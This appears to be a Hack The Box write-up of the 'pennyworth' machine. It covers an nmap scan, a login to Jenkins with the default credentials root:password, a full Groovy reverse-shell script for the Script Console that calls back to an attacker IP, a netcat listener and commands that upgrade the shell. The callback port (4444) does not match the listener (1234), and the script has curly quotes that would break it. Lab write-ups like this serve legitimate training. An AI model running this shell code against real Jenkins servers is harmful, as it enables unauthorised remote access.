We continue with another very easy HTB box.

$ nmap -p- 10.129.243.77 -sV --min-rate 5000

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-01 17:54 CEST
Nmap scan report for 10.129.243.77
Host is up (0.062s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 9.4.39.v20210325

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds

Here we have a Jetty Jetty 9.4.39.v20210325

Jetty provides a web server and servlet container, additionally providing support for HTTP/2, WebSocket, OSGi, JMX, JNDI, JAAS and many other integrations.

https://www.eclipse.org/jetty/

If we go to http://10.129.243.77:8080, we’ll be redirected to http://10.129.243.77:8080/login?from=%2F

This is a Jenkins server.

Leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project.

https://www.jenkins.io

Looking at http://10.129.243.77:8080/oops what version is running the target.

Trying some default Jenkins passwords and easy credentials we quickly find out that the correct credentials are: root:password.

And we get a new answer to the Jenkins Script Console’s question.

Looking around we discover a Jenkins management section and a Script Console functionality that may help us to run commands.

Resources like https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6 gives us an idea about how to get a reverse shell using Jenkins Groovy Script Console.

String host=”10.10.14.69";
int port=4444;
String cmd=”/bin/bash”;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

$ sudo nc -lnvp 1234

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.243.77.
Ncat: Connection from 10.129.243.77:54554.
whoami 
root

We got a reverse shell, now we can improve a bit our tty with the usual commands.

script /dev/null -c bash 
CRTL+Z 
stty raw -echo; fg 
reset  xterm
terminal type: xterm 
export TERM=xterm 
export SHELL=bash 
stty rows 51 columns 198

And get our flag:

root@pennyworth:~# cd /root
root@pennyworth:~# ls

flag.txt  snap

root@pennyworth:~# cat flag.txt

9cdfXXXXXXXXXXXXXXXXXXXXXXXXXXXX

htb